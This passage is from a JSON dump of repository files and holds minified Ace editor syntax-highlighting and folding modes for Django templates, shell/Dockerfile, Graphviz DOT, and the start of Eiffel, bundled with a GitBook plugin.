this.$rules)this.$rules[e].unshift({token:\"comment.line\",regex:\"\\\\{#.*?#\\\\}\"},{token:\"comment.block\",regex:\"\\\\{\\\\%\\\\s*comment\\\\s*\\\\%\\\\}\",merge:!0,next:\"django-comment\"},{token:\"constant.language\",regex:\"\\\\{\\\\{\",next:\"django-start\"},{token:\"constant.language\",regex:\"\\\\{\\\\%\",next:\"django-tag\"}),this.embedRules(u,\"django-\",[{token:\"comment.block\",regex:\"\\\\{\\\\%\\\\s*endcomment\\\\s*\\\\%\\\\}\",merge:!0,next:\"start\"},{token:\"constant.language\",regex:\"\\\\%\\\\}\",next:\"start\"},{token:\"constant.language\",regex:\"\\\\}\\\\}\",next:\"start\"}])};r.inherits(a,s);var f=function(){i.call(this),this.HighlightRules=a};r.inherits(f,i),function(){this.$id=\"ace/mode/django\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-dockerfile.js",
    "content": "define(\"ace/mode/sh_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.reservedKeywords=\"!|{|}|case|do|done|elif|else|esac|fi|for|if|in|then|until|while|&|;|export|local|read|typeset|unset|elif|select|set|function|declare|readonly\",o=t.languageConstructs=\"[|]|alias|bg|bind|break|builtin|cd|command|compgen|complete|continue|dirs|disown|echo|enable|eval|exec|exit|fc|fg|getopts|hash|help|history|jobs|kill|let|logout|popd|printf|pushd|pwd|return|set|shift|shopt|source|suspend|test|times|trap|type|ulimit|umask|unalias|wait\",u=function(){var e=this.createKeywordMapper({keyword:s,\"support.function.builtin\":o,\"invalid.deprecated\":\"debugger\"},\"identifier\"),t=\"(?:(?:[1-9]\\\\d*)|(?:0))\",n=\"(?:\\\\.\\\\d+)\",r=\"(?:\\\\d+)\",i=\"(?:(?:\"+r+\"?\"+n+\")|(?:\"+r+\"\\\\.))\",u=\"(?:(?:\"+i+\"|\"+r+\")\"+\")\",a=\"(?:\"+u+\"|\"+i+\")\",f=\"(?:&\"+r+\")\",l=\"[a-zA-Z_][a-zA-Z0-9_]*\",c=\"(?:\"+l+\"=)\",h=\"(?:\\\\$(?:SHLVL|\\\\$|\\\\!|\\\\?))\",p=\"(?:\"+l+\"\\\\s*\\\\(\\\\))\";this.$rules={start:[{token:\"constant\",regex:/\\\\./},{token:[\"text\",\"comment\"],regex:/(^|\\s)(#.*)$/},{token:\"string\",regex:'\"',push:[{token:\"constant.language.escape\",regex:/\\\\(?:[$`\"\\\\]|$)/},{include:\"variables\"},{token:\"keyword.operator\",regex:/`/},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string\",regex:\"\\\\$'\",push:[{token:\"constant.language.escape\",regex:/\\\\(?:[abeEfnrtv\\\\'\"]|x[a-fA-F\\d]{1,2}|u[a-fA-F\\d]{4}([a-fA-F\\d]{4})?|c.|\\d{1,3})/},{token:\"string\",regex:\"'\",next:\"pop\"},{defaultToken:\"string\"}]},{regex:\"<<<\",token:\"keyword.operator\"},{stateName:\"heredoc\",regex:\"(<<-?)(\\\\s*)(['\\\"`]?)([\\\\w\\\\-]+)(['\\\"`]?)\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[4]),[{type:\"constant\",value:i[1]},{type:\"text\",value:i[2]},{type:\"string\",value:i[3]},{type:\"support.class\",value:i[4]},{type:\"string\",value:i[5]}]},rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^\t+\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:[\"keyword\",\"text\",\"text\",\"text\",\"variable\"],regex:/(declare|local|readonly)(\\s+)(?:(-[fixar]+)(\\s+))?([a-zA-Z_][a-zA-Z0-9_]*\\b)/},{token:\"variable.language\",regex:h},{token:\"variable\",regex:c},{include:\"variables\"},{token:\"support.function\",regex:p},{token:\"support.function\",regex:f},{token:\"string\",start:\"'\",end:\"'\"},{token:\"constant.numeric\",regex:a},{token:\"constant.numeric\",regex:t+\"\\\\b\"},{token:e,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|~|<|>|<=|=>|=|!=|[%&|`]\"},{token:\"punctuation.operator\",regex:\";\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]]\"},{token:\"paren.rparen\",regex:\"[\\\\)\\\\}]\",next:\"pop\"}],variables:[{token:\"variable\",regex:/(\\$)(\\w+)/},{token:[\"variable\",\"paren.lparen\"],regex:/(\\$)(\\()/,push:\"start\"},{token:[\"variable\",\"paren.lparen\",\"keyword.operator\",\"variable\",\"keyword.operator\"],regex:/(\\$)(\\{)([#!]?)(\\w+|[*@#?\\-$!0_])(:[?+\\-=]?|##?|%%?|,,?\\/|\\^\\^?)?/,push:\"start\"},{token:\"variable\",regex:/\\$[*@#?\\-$!0_]/},{token:[\"variable\",\"paren.lparen\"],regex:/(\\$)(\\{)/,push:\"start\"}]},this.normalizeRules()};r.inherits(u,i),t.ShHighlightRules=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/sh\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sh_highlight_rules\",\"ace/range\",\"ace/mode/folding/cstyle\",\"ace/mode/behaviour/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sh_highlight_rules\").ShHighlightRules,o=e(\"../range\").Range,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=function(){this.HighlightRules=s,this.foldingRules=new u,this.$behaviour=new a};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new o(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/sh\"}.call(f.prototype),t.Mode=f}),define(\"ace/mode/dockerfile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/sh_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./sh_highlight_rules\").ShHighlightRules,s=function(){i.call(this);var e=this.$rules.start;for(var t=0;t<e.length;t++)if(e[t].token==\"variable.language\"){e.splice(t,0,{token:\"constant.language\",regex:\"(?:^(?:FROM|MAINTAINER|RUN|CMD|EXPOSE|ENV|ADD|ENTRYPOINT|VOLUME|USER|WORKDIR|ONBUILD|COPY|LABEL)\\\\b)\",caseInsensitive:!0});break}};r.inherits(s,i),t.DockerfileHighlightRules=s}),define(\"ace/mode/dockerfile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/sh\",\"ace/mode/dockerfile_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./sh\").Mode,s=e(\"./dockerfile_highlight_rules\").DockerfileHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/dockerfile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-dot.js",
    "content": "define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/dot_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/doc_comment_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,u=function(){var e=i.arrayToMap(\"strict|node|edge|graph|digraph|subgraph\".split(\"|\")),t=i.arrayToMap(\"damping|k|url|area|arrowhead|arrowsize|arrowtail|aspect|bb|bgcolor|center|charset|clusterrank|color|colorscheme|comment|compound|concentrate|constraint|decorate|defaultdist|dim|dimen|dir|diredgeconstraints|distortion|dpi|edgeurl|edgehref|edgetarget|edgetooltip|epsilon|esep|fillcolor|fixedsize|fontcolor|fontname|fontnames|fontpath|fontsize|forcelabels|gradientangle|group|headurl|head_lp|headclip|headhref|headlabel|headport|headtarget|headtooltip|height|href|id|image|imagepath|imagescale|label|labelurl|label_scheme|labelangle|labeldistance|labelfloat|labelfontcolor|labelfontname|labelfontsize|labelhref|labeljust|labelloc|labeltarget|labeltooltip|landscape|layer|layerlistsep|layers|layerselect|layersep|layout|len|levels|levelsgap|lhead|lheight|lp|ltail|lwidth|margin|maxiter|mclimit|mindist|minlen|mode|model|mosek|nodesep|nojustify|normalize|nslimit|nslimit1|ordering|orientation|outputorder|overlap|overlap_scaling|pack|packmode|pad|page|pagedir|pencolor|penwidth|peripheries|pin|pos|quadtree|quantum|rank|rankdir|ranksep|ratio|rects|regular|remincross|repulsiveforce|resolution|root|rotate|rotation|samehead|sametail|samplepoints|scale|searchsize|sep|shape|shapefile|showboxes|sides|size|skew|smoothing|sortv|splines|start|style|stylesheet|tailurl|tail_lp|tailclip|tailhref|taillabel|tailport|tailtarget|tailtooltip|target|tooltip|truecolor|vertices|viewport|voro_margin|weight|width|xlabel|xlp|z\".split(\"|\"));this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},{token:\"comment\",regex:/#.*$/},{token:\"comment\",merge:!0,regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/[+\\-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?)?\\b/},{token:\"keyword.operator\",regex:/\\+|=|\\->/},{token:\"punctuation.operator\",regex:/,|;/},{token:\"paren.lparen\",regex:/[\\[{]/},{token:\"paren.rparen\",regex:/[\\]}]/},{token:\"comment\",regex:/^#!.*$/},{token:function(n){return e.hasOwnProperty(n.toLowerCase())?\"keyword\":t.hasOwnProperty(n.toLowerCase())?\"variable\":\"text\"},regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",merge:!0,next:\"start\"},{token:\"comment\",merge:!0,regex:\".+\"}],qqstring:[{token:\"string\",regex:'[^\"\\\\\\\\]+',merge:!0},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\",merge:!0},{token:\"string\",regex:'\"|$',next:\"start\",merge:!0}],qstring:[{token:\"string\",regex:\"[^'\\\\\\\\]+\",merge:!0},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\",merge:!0},{token:\"string\",regex:\"'|$\",next:\"start\",merge:!0}]}};r.inherits(u,s),t.DotHighlightRules=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/dot\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/matching_brace_outdent\",\"ace/mode/dot_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./matching_brace_outdent\").MatchingBraceOutdent,o=e(\"./dot_highlight_rules\").DotHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=o,this.$outdent=new s,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=[\"//\",\"#\"],this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/dot\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-eiffel.js",
    "content": "define(\"ace/mode/eiffel_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"across|agent|alias|all|attached|as|assign|attribute|check|class|convert|create|debug|deferred|detachable|do|else|elseif|end|ensure|expanded|export|external|feature|from|frozen|if|inherit|inspect|invariant|like|local|loop|not|note|obsolete|old|once|Precursor|redefine|rename|require|rescue|retry|select|separate|some|then|undefine|until|variant|when\",t=\"and|implies|or|xor\",n=\"Void\",r=\"True|False\",i=\"Current|Result\",s=this.createKeywordMapper({\"constant.language\":n,\"constant.language.boolean\":r,\"variable.language\":i,\"keyword.operator\":t,keyword:e},\"identifier\",!0),o=/(?:[^\"%\\b\\f\\v]|%[A-DFHLNQR-V%'\"()<>]|%\\/(?:0[xX][\\da-fA-F](?:_*[\\da-fA-F])*|0[cC][0-7](?:_*[0-7])*|0[bB][01](?:_*[01])*|\\d(?:_*\\d)*)\\/)+?/;this.$rules={start:[{token:\"string.quoted.other\",regex:/\"\\[/,next:\"aligned_verbatim_string\"},{token:\"string.quoted.other\",regex:/\"\\{/,next:\"non-aligned_verbatim_string\"},{token:\"string.quoted.double\",regex:/\"(?:[^%\\b\\f\\n\\r\\v]|%[A-DFHLNQR-V%'\"()<>]|%\\/(?:0[xX][\\da-fA-F](?:_*[\\da-fA-F])*|0[cC][0-7](?:_*[0-7])*|0[bB][01](?:_*[01])*|\\d(?:_